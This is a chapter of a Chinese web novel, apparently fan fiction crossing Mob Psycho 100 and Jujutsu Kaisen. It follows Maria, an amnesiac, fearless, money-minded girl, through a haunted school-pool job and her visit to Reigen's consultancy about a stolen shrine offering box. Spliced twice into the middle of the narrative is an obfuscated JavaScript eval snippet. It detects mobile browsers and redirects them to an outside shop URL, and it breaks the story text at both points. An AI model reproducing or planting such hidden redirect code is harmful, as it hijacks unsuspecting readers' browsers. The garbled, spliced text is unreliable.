《贫穷的我无法搬离凶宅》 1. 灰色兼职1 这是调味市酱油高的一则校园怪谈。 [知道吗?旧校舍的泳池里面有东西。] [……那个脏兮兮的露天泳池?只是懒得清理吧。] [毕竟在学校泳池里失踪了一个学生,怎么想也太奇怪了,没人敢靠近啦。] [不是说那个上上上届的学生只是‘去游泳,然后失踪’吗?也可能是当时离开了泳池,去了另外的地方也说不定。] [不,不是这样的,他们很确定噢——他就是在那里失踪的。] [只是怕学生溺水,故意让泳池堆满垃圾和污泥罢了。拿来吓人也太过分了,OO君。] [真的啦。] [我才不信、] [据说警察们可是亲眼看着失踪学生的腿浮上来的哦,简直像是被吃剩下的,据说有老师当时就辞职了。] [诶?……浮上来?] [……从空无一物、清可见底的泳池里噢。] * 而这是2007年的春天。 凌晨1点。 本应空无一人,调味市酱油综合高中的旧校舍走廊上,这会儿响起了慌乱不已的脚步声。 仓皇逃命的短头发男生握着手电筒,跑得飞快——他忍不住边跑边往回看,一不小心就被旧校舍的杂物绊倒,从楼梯上滚了下去。 他没顾得上腰间的痛楚,就已经惊恐地发现……自己摔坏了腿不说,脊椎好像也出了问题,身体完全动弹不得。 ‘怎么会!?’ ‘明明已经快逃到一楼,很快就可以离开旧校舍了!’ 懊恼地想着这种事,男生试图忍痛挪动自己的身体,却发现脖子以下全是麻的,根本使不上力,更别说移动了。 此刻正值深夜,又是夏季云多的夜晚,连月光都没有。 漆黑一片里。 手电筒比他早一步摔到了一楼,因为接触不良而闪烁的灯柱照亮了一楼的逃生口。 但高中生却这样倒霉,躺在一二层折返阶梯之间的平台,只能无力地侧着脑袋。 能看清的只有自己无力耷拉在地板上,脸前10厘米的手。 而距离更远,害自己落下来的那短短十阶的楼梯,连同它通往的二楼走廊都被淹没在了一片漆黑里。 只听见漆黑中,从如同山顶一样的阶梯那头,已经传来的湿黏黏的拖行声。 啪嗒。 啪嗒。 声音越来越大。 而即便什么都看不见——之前和朋友一起,唤醒那具黑影的短发男生也能想象,那个腥臭的东西是如何一点一点拖行着向自己靠近的。 ‘……别过来!’ 他长大了嘴巴发出嘶嘶的尖叫,他拼了命地想要让腿动起来,能听到的反馈却只有自己窘迫的呼吸和心跳声。 ‘快动起来啊!’ 如果看不见、听不见属于另外一个世界的动静,对方会不会也看不见自己了呢? 极端的恐惧让时间变得非常缓慢,他甚至忍不住思量起…… 如果没有过来就好了; 如果听了那个可疑的勤杂工的话,赶紧离开,而不是悄悄翻墙进来就好了; 如果,一同前来的女友没有因为害怕被自己支开,要是她也在这…… 她跑得可比自己慢多了。 在高中生进行无用思考的同时,楼梯已经往下淌起泛着淤泥腥味的臭水。 伴随着逐渐强烈的臭味,粘哒哒的拖行声渐渐靠近了——听上去简直像是某种污泥顺着耳朵钻进了脑袋,在神经上摩擦。 高中生瞪大了眼睛,试图在漆黑一片中分辨,可能是因为眼睛逐渐习惯了黑暗,他开始能看清楚来者的轮廓了。 啊。 原来并不是因为自己习惯了黑暗。 ‘……是因为它的嘴离自己太近而已啊。’ 他听到了咀嚼声。 * 而十分钟后。 酱油高中旧校舍的三楼。 一个女生正在漆黑的教室里找到了一个三边封闭的讲台,她哆嗦着轻手轻脚地移动,抱着双腿将自己塞在了这个空间里。 ‘拜托了……不要注意到这边。’ 想起之前在走廊上看到的身影,即便现在,少女的牙关仍在发颤……他们到底是怎么唤醒水底的那个东西的? 受到的惊吓过大,她对当时的事情已经记不太清楚了。 此刻,女高中生满脑子只剩下各种猜测:‘一起来的几个人怎么样了呢?’、‘OO君会来救自己吧?’ 打定主意在这个视觉死角躲着,在和同伴失散之前,她曾在夜色里观察过那个身影,它一直在走廊里游荡,但感知好像并不怎么灵敏,只要不被发—— 砰。 教室的后门方向传来了门被打开的声音。 躲在讲台底下的女高中生一个哆嗦,不敢呼吸了。 她能听见开门的动静,然后是啪嗒、啪嗒的脚步声。这索命声先是在课桌之间游荡,然后很快确认好了方向,径直朝自己这边走了过来。 ‘——已经知道我在这里了吗?’ 瞪大了眼睛,女高中生下意识就蜷缩起了身体。 又因为不管哪个选项——继续保持安静、或是赶紧逃跑——都很危险,没有胆量行动的她直接陷入了僵直。 没能做出选择的女高中生很快被抓着脚腕拖出了讲台下的遮蔽空间。 ‘不要!!’ 她下意识张开嘴巴准备尖叫,声音却没能完全成型。 一只属于人类的手捂住了自己的嘴巴,但她还没来得及冷静下来,姿势就已经变成了被人圈着脖子,踉踉跄跄地在漆黑中行动的样子。 慌张的高中生试图在被困住的同时打量将自己带走的人,试图阻止对方将自己带到危险的走廊。 但等逐渐靠近目的地才发现,自己被简单粗暴地塞进了一个宽大立式储物柜——教室末尾,放置清扫用具的那种。 她抬头,在漆黑中勉强看清楚了对方的大概轮廓。 ……那是个穿着老土绿色运动套装的女生,一头歪七扭八的金发双马尾,比自己要稍微高一些。 女高一眼就认出了这个打扮。 ‘是在旧校舍门口巡逻的那个怪人……!’ “我是玛利亚。”‘怪人’显然听不到女高中生的腹诽,以气声低声回答,但十足没心没肺,“躲在桌子底下绝对会被发现的,不要这么做比较好啦。” 对方的声音反常的轻快,听上去,对自己把女高中生吓得半死毫无愧疚感。 也可能是知道女高不会继续发出响动,那个自称‘玛利亚’的兼职这才松开了捂着女高嘴巴的手,也进了储物立柜和她挤在一起。 金属门被轻轻关上了。 稍微安下心,女高中生连忙低声询问同伴的下落:“您有看到跟我一起来的其它、” “噢……那几个人。”高中生话没说完,就看到‘玛利亚’恍然大悟的点头动作,对方没有继续这个话题。 从沉默中隐约知道了答案。 这一晚上被吓得够呛,高中女生本以为自己哭不出来,泪水却很快沁满了眼眶。 但‘玛利亚’看上去对此毫不关心,只是又捂住了她的嘴巴,任由女高的眼泪滴上自己虎口,竖起一根食指挡在嘴前。 嘘—— 有什么东西来了。 此时……某个在校舍里游荡,粘哒哒的拖行声已经逐渐靠近了这里。 在漆黑一片中隐约看到对方的轮廓。 女高中生瞪大眼睛,几乎就要晕过去——因为她刚才确实、差一点就被发现了。 如果自己还像之前那样躲在讲台桌下面,肯定会被看到的。 因为此刻进入教室的是个在地上爬行的东西。 它的眼睛……几乎只能对着桌底的高度。 * 当然。 今晚发生在酱油校,旧校舍的事情充满了寒气——但如果,将视角转到玛利亚,也就是那位旧校舍里的勤杂工的身上。 事情的观感又变得不同了起来。 她早已经习惯了这种一波十二折、起伏伏伏的打工生活。 只见此刻的立柜里,玛利亚捂住了身旁女高的嘴巴,示意她屏住呼吸。而后者此刻眼睛瞪得溜圆,像是惊恐又像是生气,只是瞪着玛利亚看。 玛利亚把那误认为被自己拖痛的愤怒,她当然也没能理解女高眼泪的含义。 梳着双马尾的这位勤杂工只是毫无诚意地道歉(嘴硬):“……当时在门口的时候,就说了不要进来的吧。”薪水的内容明明只有一周内把泳池打扫干净诶。 但对方显然没有和玛利亚说话的打算,瞪着她的视线很快移向了储物柜狭窄的窗口外。 只见两人‘友好交流’间,一个腐烂到一半的黑色身影已经来到了附近。 要让玛利亚来形容的话,就是烂水果、橡皮泥、和塑料娃娃零部件拼凑而成的某种弗兰肯斯坦吧。 她好奇地无声诶了一声:‘看上去像是能沼气发电的样子……能用来点灶吗?’玛利亚在心里嘀嘀咕咕。 漆黑中,隐约能看到那个爬行的东西是由淤泥、腐烂到看不出原型的浆体、和各式各样的肢体粘接而成…… 长短各异的三只手从粘哒哒的‘史莱姆’里伸出,拖拽着已经乱七八糟的污泥身体爬到了柜门附近,臭味直接就顺着柜门上的缝隙钻了进来。 躲里面的两个女生都皱起了脸。 玛利亚能看出……它组装在烂泥堆顶端的脑袋明显只是摆设,表情凝固在惊恐。 被黏在污泥堆上的四五颗眼珠子这会儿正在乱转打量。 ‘看颜色应该不属于同一个人……到底是吃了几个啊。’ 其中一颗新长在背部的眼珠甚至和柜子里的两人对上了视线,维持着眼珠子不转的姿势,怪物的动作停了下来。 被捂着嘴巴的女高开始发颤,看上去是很想马上逃跑,所以玛利亚只好抓住了她的肩膀,不让对方乱动。 但玛利亚实在搞不清楚… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048855|148999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …它到底发现她们没有,她只是平静盯着外面的黑影。 两人安静躲着,她甚至能听见旁边那个少女紧张的心跳声。 咚咚、咚咚…… 索性那烂泥一般的半截身子很快又开始了左右游荡,像是闻到了味道又像是没有,围着柜子转了几圈之后,眼看就要离开—— “叮铃铃——!” 这是玛利亚手机的来电提示音。 电子铃声穿透了两人紧挨在一块的身体,被密闭的金属箱体放大,直接形成了过分响亮的嗡嗡回音。 旁边的女高呼吸声一滞,直接哭了,就连玛利亚都能感觉到对方的血一瞬间冷了下来。 所以这个勤杂工只能叹口气,在狭窄的空间里,她挪着身体,将哆嗦的女高挡在自己身后。 而那黏糊糊的怪物已经伸出几只腐烂的手,朝柜子扑了过来! 最恐怖的事情还是发生了。 但并不是那个因为没有脸皮,而贪婪‘笑着’向柜子扑来的怪物,这会儿后者正张开足有两个脑袋那么大的嘴巴,里面全是各种建筑垃圾拼成的尖牙。 也不是像纸片一样,被泳池淤泥怪撕开的柜门。 ——而是玛利亚从口袋里摸出来的翻盖手机。 荧幕上单调的黄光里,此刻滚动着如同末日宣言一般的冰冷言语。 [房东:……玛利亚,你还有地方可以去吗?既然屋子已经除灵,我想再跟你谈谈房租的事,你觉得涨300%怎么样?] 天塌了。 耳畔反复回荡着‘你觉得涨三百怎么样’的声响,玛利亚一阵头晕目眩。 眼前扑过来的怪物不再要紧——哪怕它眼看着就要扣住玛利亚的脑袋,像之前倒在楼梯间的那个高中生一样,将这位兼职勤杂工拧成麻花。 而背后的人也没那么重要——那个高中女生紧张地抓住了玛利亚的衣服,把脑袋埋进了她的背后,躲避扑面而来的淤泥。 玛利亚只想抱头尖叫。 这位挡在女高身前,梳着双马尾的乐天派抽出一张纸钞挡在身前,她实在搞不明白。 攒不下钱就算了。 ……辛勤工作的自己到底是如何沦落到这一步的? * 而这一切,恐怕得追溯到故事的一开始。 不、不是昨前的下午。 那时的她刚接下了在酱油高的‘灰色兼职’。 作为经理人的灵幻新隆表情带着羡慕,看着她手里的招工海报,拍了拍玛利亚的肩膀:‘夜间巡逻和清扫学校泳池……一周就有三十万日元(约为1w4),很轻松嘛。’ …… 一周前?好像也不是那样。 玛利亚现在还记得那个奇怪的眯眯眼,穿着奇怪肥大裤子,还要硬给她塞可疑的咒术还是什么学校的入学申请。 她当时就拒绝了,这人面相不说,那说辞一听就是诈骗。 …… 不、也不是半个月前。 两个不讲道理的男高喊着莫名其妙的‘咒术师’‘咒灵’‘热血’‘友情’‘烦死人了’就冲了进来。对着自己的公寓就开始了打砸。 自称灰原雄的蘑菇头坏蛋一拳抽飞了玛利亚的冰箱。 然后他那个金色三七分的同行者对着玛利亚抽出了刀,哗地一下就劈开了她的面包机。 …… 这一切的根源要更早一些,比一两个月前还早。 早到她还没被警方和术师盯上…… 她还记得审讯室的灯光打在自己脸上。 传唤她的警官给她推来一份猪扒饭:‘铃木玛利亚!说说你在犯罪现场晃荡是怎么回事吧,家乡的母亲会落泪噢。’ …… 这一切的罪魁祸首,分明就在一年前,2006,平成18年的春天。 一切如同16倍速的监控视频一般,在她的脑海里开始了倒放—— 在自己搬入那栋公寓之前、 从她成了本地黑醋高中的工读生,再往回一点点、 倒放到玛利亚认识灵幻新隆和他的超能力者弟子、 一路回退到自己来到调味市,从巴士下车、 从她摸索着下山第一次搭上乡亲的农具拖拉机,转车坐上40分钟一班的大巴,来到新干线沿路,然后打了两个月工攒出车票钱还被骗了一半…… ‘不不不不,玛利亚,别去想被骗的事情,钱已经回不来了!’ 从…… 对了。 是从玛利亚离开位于高野山灵场的神社开始的。 * 所有的一切都始于一年前,有人闯入神社……将神社的功德箱,连同其内部三千两百円(*约152.37元)抢走了。 此时此刻的所有‘烦恼’。 她怎么在这里当起了勤杂工 她如何住进的‘那所’处处透着诡异的房子,生活到了现在。 还有玛利亚的‘复仇’之旅(涉案金额:152.37元)—— 应该都是从这里开始的。 2. 灰色兼职2 虽然说起来让人很难相信。 不仅故事开始于一年前的高野山(*日本三-大灵场之一),那起让人觉得可能没有认真必要的‘偷盗事件’。 她的记忆也开始于此。 2006年春天的二月,调味市,功德箱失窃的一周后。 找遍了山里各处的玛利亚开始寻找起了帮助。 此刻,在一间名为【灵幻咨询室】的办公室里,坐着三个人。 ——分别是为了失窃而寻找帮助的玛利亚、还有咨询室的老板灵幻新隆、和他的徒弟,也是这里的兼职工,影山茂夫。 玛利亚是从分发的传单上看来的,据说灵幻新隆是了不得的超能力者(自称)——而她的情况,可能正需要超能力的协助。 * 看似是老板的人开口:“失忆?” 问话的正是咨询室的老板灵幻新隆。 他留着一头黄-色短发,穿着西装,看上去二十多岁。比起咨询室宣传单上说的‘超能力者’,更像个油嘴滑舌的推销员。 虽然自称是超能力者。 但刚进来的时候,玛利亚观察了一下,反而感觉坐在旁边位置上,那个灵幻新隆的弟子——影山茂夫身上有着一种奇怪的光波。 ……果然是因为作为师傅的灵幻已经达到收放自如的地步了吧。 这才是真正的大师! 很能自我合理化,玛利亚没有多想,只是回答了咨询室老板灵幻的问题。 “大概吧,我能记得的都是碎片拼凑起来的内容。” “那名字呢?名字不是记起来的吗?” “总感觉脑袋里有个声音在说‘你是Maria(玛利亚)!’……所以我想,我应该就是玛利亚吧。” 说这话的人正是玛利亚,她歪七扭八地穿着登山服,顶着一头乱糟糟的金发披散在肩头,眼睛和眉毛则是黑色的。 她看上去应该不到二十岁,态度轻飘飘的,看上去带着股奇怪的过分乐观、又因为这个显得有些不加思考和神经质。 因为失忆,脑袋明显还很混乱的女生对世俗一切的都很生疏,这会儿正坐在[灵幻咨询室]会客室的沙发上,代入角色演绎似的、对着对面的两人比手画脚,描述着自己的记忆和‘委托’—— 虽然面上比起寻求帮助,玛利亚的表现更像是轻快地说着听来的八卦。 但很快,听着的两个人就无法与她的轻快态度同频了。 * 大约六七天前,深夜,她在高野山醒来。 金发少女从冰凉的石头地板爬上来,瞪大了眼睛打量周围——“是个神社。”她描述道,“看上去很亲切。” “……亲切是个什么、咳咳、不,请继续。” 不太清楚现在是什么状况,她试图回忆,但得到的只有头痛,玛利亚盯着已经很久没人打理的神社建筑,脑袋里闪过了几个‘自己从神社里,盯着来访客人看’的画面。 行。 好开始。 玛利亚感觉自己应该烦恼,但她的脑袋里此刻只有因为‘得到什么’而莫名产生的欢欣。 ——就像是属于负面情绪的部分全被抹去了似的。 因为不太清楚自己到底是谁,她只能找遍身上剩下的这身乱糟糟的登山服。 口袋空空,没有任何证明身份的物品,玛利亚摸着嗡嗡作响的脑袋爬起来,能感觉到只有毫无来由的不妙感。 仔细思考‘名字’的话,只有‘你是Maria(玛利亚)’这个概念像是被印在认知里一样深刻。 而混乱的脑袋里除了之前的几帧画面之外,只有一些过分零散的触发画面—— 她看着庭院的石板地板,在同样的黑夜,似乎曾经有两个模糊的笨拙身影,在这里争抢神社的钱箱; 地上有一滩血,眼前出现一个人高举着钱箱向下砸去的残影; 玛利亚张开手掌,看着自己昏迷过去也没撒开的硬币——钱币从功德箱箱口落了出去画面恰逢其时地闪过。 “我当时注意到钱掉出来了……” “然后?”属于记忆之外,灵幻的声音还在问——还有看到什么吗? 玛利亚答得理所当然:“当然是赶紧把钱捡起来了。” “师傅,难得有比你还在意金钱的人呢。” “闭嘴啦!” 她记得自己捡起钱的时候的情绪——惊讶。 但现在回忆起来却已经连这种惊讶从何而来都搞不清楚了; 散碎的记忆最后停留在‘砰砰!锵锵!砰——!’的声响。 她仍能记得逐渐变黑的视野里,一个黑发大高个带着箱子和一个女性离开的背影,然后就是自己的醒来。 感觉自己得马上出发,所以玛利亚直接从鸟居离开了神社。 * 此刻坐在沙发上的玛利亚对记忆如此评论:“我得离开那里,而且……可能我曾经在那个神社居住过很久吧,总感觉……” 她拖长了声音,将数字、因数全部导入了公式。 ——然后得出了完全错误的答案。 “我得把那个功德箱拿回来。” 里面的所有钱币她都数过,还有64枚钱币,三千两百円呢,钱可是很重要的。 ‘……不对,我是什么时候数过来着?’玛利亚皱起眉,想不明白。 但对面的男声简直要变成尖叫了,直接截断了玛利亚的思考,她抬头就看到了被自己折磨得够呛,已经变成潦草简笔画模样的灵幻。 “重点难道不应该在被袭击然后放置在荒郊野外上吗……身份证件都不见了不就是准备抛-尸吗!绝对是吧!绝对是被凶手拿走了!” 仍有常识的咨询室老板伸-出双手。 重点是只有三千円的钱箱吗!? 连珠炮一样的逼问直冲玛利亚的脸,但金发少女倒是一点不生气、也不着急。 “……你不说那是废弃神社吗?怎么想都不可能有人住的吧!” “而且为什么要把这种无关紧要的数字记得这么清楚,您连自己是谁都不知道了吧?” “而·且——倒是给我报警!”他拿出手机直接怼到了玛利亚的脸上。 没懂对面听着自己话的人说的‘jingcha’是什么意思,玛利亚绕开递过来的翻盖机,奇怪的嗯了一声。 “戴帽子,穿蓝色制服的那些人!”坐在对面的灵幻在自己脑袋上比着警帽的手势,用力比出了埃及手。 “啊,那些人。”金发少女眨了眨眼,“我有跟他们说话。” “……诶?” * 她在下山的时候确实曾经遇到过上山的警察,玛利亚试图和他们问过箱子的事情。 但不出意外地被人拒绝了。 一方面是因为金额太小,一方面他们似乎还忙着去山里搜救失踪者。 而玛利亚虽然被嘱咐了之后可以去派-出-所寻找帮助,却因为找不到路转到了另外的地方。 …… “……我怎么有不好的预感。”听着玛利亚叙述的老板已经冒出了冷汗。 而玛利亚已经举起了一根手指:“多亏遇到的高僧呢。” 对面的两个人……都啪一下把手盖在了脸上。 然后他们就听到了玛利亚一路上的见闻。 这里当然不是玛利亚的第一站,事实上,在来到这里之前,她已经跑了高野山附近的好几个城市,见了不少‘愿意帮忙’的人了。 有愿意把他傍身的转运壶以一枚硬币转让给自己的高僧; 而据说很轻松、不需要努力就可以成佛的未来视教主——虽然没能找到箱子,他还是教授玛利亚量子速读的技术; 有灵视技能的超能力小孩,据本人说上过电视,是他为自己指了个方向; ‘怎么看,玛利亚小姐都像是被骗子随便指了个方向,碰巧来到这里而已。’有人吐槽。 但玛利亚根本不听,只是自顾自回忆。 有个拦住她,说着要推理她身上的杀人案,自称关东名侦探的大学生工O新一; 还有明显就是骗钱的西装男,他拿走玛利亚手里仅剩的钱币,说是要请谁来着…… 说到这里,玛利亚稍微卡了一下壳:“啊、虾油君?”她将陌生的发音吐-出口,想起了那个自称辅助监督的家伙说的名字。 当时对方好像守在一个奇怪的罩子外面,被自己问起‘这个罩子是做什么的’时候还吓了一跳。 那个辅助监督说是……要请虾油同学帮玛利亚手里的钱币驱邪。 他拿走了一枚说是要让术师看一眼。 但对方只顾着盯着钱币的感觉让她感觉有些可疑,所以玛利亚就在那个‘虾油君’过来之前,赶紧离开了。 而终于,通过上个城市的路边占卜师那里买了个价值10万日元的水晶项链之后,通过学会的灵摆占卜,玛利亚找到了这里。 位于东京附近的首都圈,调味市。 这间名为【灵幻咨询室】的万事屋。 “……这不就单纯地只是被人骗吗。”此刻,作在咨询室办公桌后方,作为咨询室老板的灵幻新隆想也不想,就把腹诽说出了口。 他旁边的影山茂夫倒是盯着玛利亚带来的行李,表情有些奇怪,有些欲言又止。 而玛利亚对他的评价不置可否:“是吗?”她歪着脑袋思考了片刻,“可是我都有花钱,应该没有什么问题吧。” 只要是‘给了钱的交易’,自己的想法肯定会……嗯? 脑袋混乱的玛利亚卡了一下。 但对面作为咨询室的打工仔,影山茂夫已经接下了她的话,再一次截断了玛利亚的思考:“就是给钱的交易才需要谨慎吧,玛利亚小姐。” 简直像是冥冥之中,有什么不想让她想明白似的。 她抬头看向那位灵幻新隆的徒弟,也是超能力者的少年。 影山茂夫穿着黑色制服,看上去还是个中学生,顶着一头黑色的锅盖头——他态度温和,甚至称得上有些弱气。 这会儿他正坐在沙发旁的椅子上。 而老板灵幻新隆已经叹了口气:“这到底是怎么回事啊……”这个年轻男人一手焦躁地敲打着桌面,一手啪的一声,以食指直接指向了玛利亚,“恕我直言,玛利亚小姐,你现在有些更严重的问题。” “是我说漏了、”什么吗? 打算重新倒带,玛利亚絮絮叨叨的重播没开始。 客座沙发的对面已经传来了制止声:“——不是这个意思!” * [灵幻相谈所]里。 回忆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048856|148999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告一段落。 听完了玛利亚说的来龙去脉,灵幻新隆和影山茂夫都陷入了短暂的思索。 玛利亚倒不着急,只是生疏地抿了一口咨询室提供的‘茶水’,但很快就因为茶叶的陌生苦涩酸味忍不住皱起了整张脸。 ‘……什么怪味道。’ 她悄咪-咪放下了茶杯。 而那边灵幻只是皱着眉头,食指在桌面上飞速地敲打,几乎都露出了残影,明显在焦躁。 “只找箱子?被带走的人还有那个盗窃的家伙不管了吗?” 玛利亚摇头:“那些可以之后再说。”她思考了片刻,“……我就是这么感觉的。” 非得找到不可,不然……不然会怎么样来着? 说到这里,玛利亚露出了想起什么的神情:“啊,我想起来了——” 对面接受调查委托的灵幻新隆和影山茂夫都露出了期待的神情。 “因为钱很重要。” “……当我没问。”灵幻新隆脱力地叹了口气,察觉到玛利亚根本不在意别人的攻击,他倒也变得口无遮拦了起来,“虽然你说的也没错但是我总感觉这种话从一个脑袋被攻击的人、”嘴里说出来毫无可信度。 这话没能说出来。 “啊。” 玛利亚倒也真的想起来了。 她如此迫切的追随着自己的‘直觉’的原因——这么说着,她这才像是想起要紧事似的,大喇喇撩起侧边头发盖住脸,露出了后脑上,一个明显被木箱子砸过,拳头大的凹陷伤口。 这凹陷好像完全没有经过治疗,这会儿血液还粘着头发——怎么看也不像是能活下来的伤口。 “……我好像完全失去了恐惧感。”脑洞大开,玛利亚的声音从厚厚的发片后传出来。 事实上她失去的并不只是恐惧感,其它负面情绪也一并消失了大半,伤心和气馁变得非常稀薄,几乎不会生气,紧张倒是有的。 而哪怕是面对着绳子随时会断开,让闸刀落下的断头台,因为缺乏恐惧,她也能为了好奇把脑袋伸-进去看看。 唯一剩下的就只有对金钱与等价交换的执着,但玛利亚姑且把那当成一种乐观的积极生活方式。 ……虽然玛利亚感觉并不止如此。 但是思考起来的时候就会头痛,所以她直接对麻烦事投降。 而灵幻和茂夫已经愣在了原地。 两个正常人背脊上第一时间就已经爬满了冷汗。 “这种事情……” “嗯?” “这种事情第一时间就应该说明才对!玛利亚小姐!”锅盖头茂夫被吓得直接失去了颜色,就连周围的东西都飘了起来,他慌张地试图给玛利亚找合适的绷带。 而灵幻新隆则是摸出了自己的翻盖机:“茂夫,冷静一点!等等医院的电话到底是哪个我怎么想不起来了……” 反倒是无恐惧感的当事人一点不着急。 “不需要治疗也没关系的。” 室内的两师徒像是呆头鹅一样愣在原地。 脑袋和内心一样敞亮的玛利亚将头发放了下来:“从醒来的那天开始它就这样了。” ……伤口既没有好转的迹象,也没有恶化的模样,似乎就凝固在了这个状态上。 虽然理智上知道很重要:“总感觉找不到的话就完蛋了。” 但因为失去了恐惧心,玛利亚竖起拇指。 “已经没什么好怕的、” 当然她还没有说完,就被事务所的师徒俩以‘上个说这句话的人脖子已经变成可拆卸了你还是消停一点吧’这样的理由捂住了嘴巴。 * 而另外一边。 东京的郊外。 本来正在移动的中途,开车的辅助监督却突然出现了意外。 坐在后座的夏油杰刚感觉到奇怪的咒力波动,刚来得及抬头。 开车的辅助监督胸口就猛然炸起了一阵汹涌的咒力,突然出现的咒灵一巴掌就将正在开车的西装男扇到了山道底下—— 时间紧急。 派遣自己操纵的咒灵将受伤的辅助监督救下。 激烈的风将他留在脸侧的碎发刘海吹向了起来。 夏油杰看向了咒灵出现的方向,在看清楚是什么之后反而微微眯起了眼睛——那确实是个咒灵没错,还是那种凭依在物品上,类似地缚灵的品种。 时年十七岁,刚升上一级术师的夏油杰有些诧异地看向了咒灵的凭依物。 “……钱币?” 那是一枚50円的硬币。 * 总之。 “……绝对不能让别人拿走我的钱。”玛利亚一边这么说着一边抱胸点头,说完才发现自己说了什么。 她啊了一声,看到了对面两人沉默的表情,虽然不觉得自己有错,但还是道了歉。 灵幻新隆沉默了片刻:“要不还是去治治吧。”关于脑子这个问题。 “可是我没有钱啊。”那个委托人答得非常坦荡,治疗的话。 两个‘被委托人’脑袋上都冒出了问号。 灵幻新隆脑袋上更是冒出了冷汗:“那……玛利亚小姐是打算怎么支付委托费用呢?” 玛利亚拿出了自己‘高价购买’的转运壶。 “你给我拿回去啦——!” 3. 灰色兼职3 而经过一番‘商讨’,虽然对面的两人明显不打算姑息玛利亚这种一根筋且不加思考的行动行动方式,但在口头上。 灵幻和龙套君交换了一个眼神,还是同意了给她提供帮助。 玛利亚并不需要两人帮她找到那个功德箱,更多的是情报。 所以委托也依托着这种原则立下了。 无论是关于玛利亚自身,还是这个功德箱,以及里面钱币的情报,每给一条,她就按照情报的价值付款。 “没关系吗?我也可以一直用无关紧要的情报骗钱吧。”灵幻双眼里已经像是老虎机一样蹦出了金钱符号,表情可疑的搓起了双手。 玛利亚倒是颇为光棍:“嗯……虽然不太清楚,但我感觉最重要的情报应该会在合适的价码上出现的。” “玛利亚你是不是……”灵幻皱起了眉头,似乎对她的话产生了一些思考。 但他们并没有在这个方向深-入下去。 因为坐在一旁的初中生开始担心了起来:“不过,玛利亚小姐真的没关系吗?失忆的话,钱和住的地方……” “委托我们的价钱可不便宜噢。”灵幻新隆咳嗽了一下,穿着西装的老板双手插兜,但比起找作为客人的玛利亚催款,更像是一种拐着弯的关心。 不知道是不是失忆之前就养成的习惯,玛利亚习惯口无遮拦的生活:“我的运气真好。” 她的脑袋和嘴巴之间几乎没有过滤器。 “诶?” “灵幻先生和茂夫都是好人。” “……只是做生意基本的职业道德罢了。”黄发的男人看上去并不太擅长应对别人的夸奖。 但玛利亚并没有管他的害羞,虽然更大的可能性是她根本没有那根纤细的神经,看不出来。 玛利亚谢绝了茂夫的关心,她摇摇头:“茂夫还是小孩呢,不需要担心我也没关系。”而另一方面,她在沙发上坐直了身体,拍了拍自己身侧的背包,“虽然我现在没有钱。” 来时的路上已经把她的现金消耗得七七八八。 本来还有一枚剩下的硬币。 但是那也被某个辅助监督给‘骗’走了。 “但是只要打工的话,有钱也就是时间问题而已。”说到这里玛利亚难得冒出了一丝焦虑,不过她并不着急,只是颇为光棍地继续推销之前从高僧那里买来的‘转运壶’。 她自顾自地开口:“我觉得应该够支付第一笔了。”已经可以窥见那种不擅聆听别人(耳背)的轴劲了。 “都说了这根本就是骗人的——!!” “价码这种事情是卖家决定的你这个家伙给我长点心!我可没有同意啊!”灵幻一边骂骂咧咧,说着‘见不到钱我是不会干活的’一边还是放任了玛利亚一意孤行。 这里面当然有同情可怜和担心的因素。 玛利亚完全能理解这种环境里的氛围——但很可惜,因为缺乏羞-耻心和屈辱的负面感情。 厚脸皮的她要先享用这个世界了。 玛利亚挺开心的:“总感觉和灵幻先生成了朋友,这就是有朋友的感觉吗,真新奇。” “师匠(师傅)看上去也挺开心的。” 而不管室内那个咨询室老板怎么抗议和咋咋呼呼,坐在一旁的影山茂夫一直维持着简笔画一样的木楞表情,已经对着她赞同地点了点头。 “喂!” 不过茂夫在盯着那个壶看了一阵之后突然疑惑地嗯了一声,然后才叫住了跟个恶灵简笔画一样张牙舞爪的灵幻:“师傅……” “怎么了?” 表情跟个简笔画一样超能力者指着玛利亚递来的转运壶。 “这个好像……”茂夫语气有些惊奇,“是真货呢,师匠。” “诶!?”听到完全没有预料到的内容,灵幻的脑袋忍不住就在玛利亚和壶之间飞速180度翻转,“真的假的……” 他摆在面上的意思太过于明显。 就差把‘这不是标准的骗局吗’写在脸上了。 茂夫倒是仔细盯着那个壶看了一阵:“因为很少见,所以我一开始也不太确定……里面的灵力给人的感觉很好。”他语气带着庆幸,这个柔和的中学生抬头看向玛利亚,“太好了,玛利亚小姐没有被骗呢。” “都说了的吧。”玛利亚态度轻飘飘的。 而正好把壶留给灵幻作为首付,玛利亚倒维持着一贯的乐天派,她几乎不假思索。 “毕竟是付出了金钱的东西。” “……真想知道你那个奇怪的概念到底是怎么回事。”灵幻眯起了眼睛,“这样粗心大意绝对会被奇怪的江湖骗子盯上的。” 茂夫的视线忍不住漂移,看了一眼灵幻。 因为事实上,和作为超能力者的影山茂夫相反。 这位黄发的师傅实际上并不是‘超能力者’,而是基本上只靠话术、按-摩、撒盐和PS驱灵的‘超·能力者’。 感觉到弟子的视线,灵幻新隆忍不住咳嗽了一声:“喂。” “嗯?”而玛利亚根本看不懂气氛,只是单纯地对师徒两人打哑谜有些好奇。 “之后再告诉玛利亚吧——总之,在我们给你找到箱子之前,绝对、绝对、绝对不可以在外面听什么高僧、超能力者、占卜师和咒术师之类的话,明白了吗!?” 作为刚相识的陌生人当然没有必要关心到这个份上。 